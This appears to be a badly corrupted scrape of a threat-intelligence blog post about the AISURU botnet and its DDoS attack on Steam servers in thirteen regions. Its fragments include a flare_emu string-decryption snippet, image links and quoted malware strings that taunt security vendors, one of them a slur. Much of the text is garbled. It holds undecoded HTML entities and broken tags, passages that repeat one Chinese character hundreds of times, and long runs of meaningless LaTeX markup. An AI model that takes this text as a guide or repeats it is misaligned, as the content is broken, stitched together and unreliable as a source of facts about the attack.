72_61_63_6B_61_6C_61_63_6B_69_6E_27&apos;) eh=flare_emu.EmuHelper() eh.iterate(decstr_addr,iterateCallback) </code> <hd>/code> <hd><code> <hd><code> <hd>/code> <hd>/code> <hd>/code> <hd>/code> <hd>/code> <hd>/code> <hd>/code> <hd>/code> <hd>/content:encode>
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Steam platform suddenly went down, with players around the world reporting that they were unable to log in. Many players speculate that the
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SCTIA(Cyber Threat Insight Analysis)
system conducted an in-depth observation of the DDoS attack.
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CTIA(Cyber Threat Insight Analysis)system conducted an in-depth observation of the DDOS attack. We noticed that the attack involved nearly 60 botnet control nodes, which is much more than regular botnets. These nodes coordinated and commanded a large number of infected bots to launch attacks in waves.The targets of the attack included Steam server IPs in 13 regions around the world, including China, the United States, Sngapore, Sweden, Germany, Austria, Spain, the United Kingdom, Japan, South Korea, Australia, Chile and the Netherlands. It is worth noting that in addition to Steam's own servers, the Steam servers of Perfect World in China were also listed as

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           -下 图 是 我 们 的 大 网 威 胁 感 知 系 系 的 截 图 󵛾 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 网 &#x7
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           $team做 为 一 个 的 世 界 性 恇 游 游 平 平 弌 不 可 &#x80FD
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下图是该僵尸网络的能力测试图:

&p>此外该频道还提到了国外厂商GSL的一篇<a

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2T左右。<br>

loading="lazy">

src="https://blog.xlab.qianxin.com/content/images/2024/08/attack\_test.png"

href="https://globalsecurelayer.com/blog/unprecedented-3-15-billion-packet-rate-ddos-attack?

```
ref=blog.xlab.qianxin.com">Blog</a>&#xFF0C;Blog&#x58F0;&#x79F0;&#x662F;&#x6709;&#x53F2;&#x4EE5;&#x6765;&#x5411;&#x516C;&#x4F17;&#x62A5;&#x544A;

 <imp src="https://blog.xlab.qianxin.com/content/images/2024/08/attack_log-1.PNG"

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<p
  在我们看来,AISURA像是Fodcha的"追随者"或" <strong>&#x9996;&#x5148;&#x4ECE;&#x6218;&#x672F;&#x5C42;&#x9762;&#x4E0A;&#x6765;&#x8BF4;
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AISURA在 最 早 的 样 本 中 是 这 样 蚈 达 它 对 安 全 &#x793
<code>&qoot; N3tL4b360G4y&quot; &#xFF0C; &quot; paloaltoisgaytoo&quot; </code>&#x3002; paloalto&#xFF0C; &#x5373; Palo Alto
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gay</race/code>b#x3002; \text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{\text{
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Brazil </code>  <strong>&#x5F53;&#x7136;&#x559C;&#x6B22;&#x5F70;&#x663E;&#x7279;&#x7ACB;&#x72EC;&#x884C;&#x7684;&#x9ED1;&#x4EA7;&#x56E2;&#x4F53;&#xFF0C;&#x80AF

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<\i>\&\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\frac{1}{8}\
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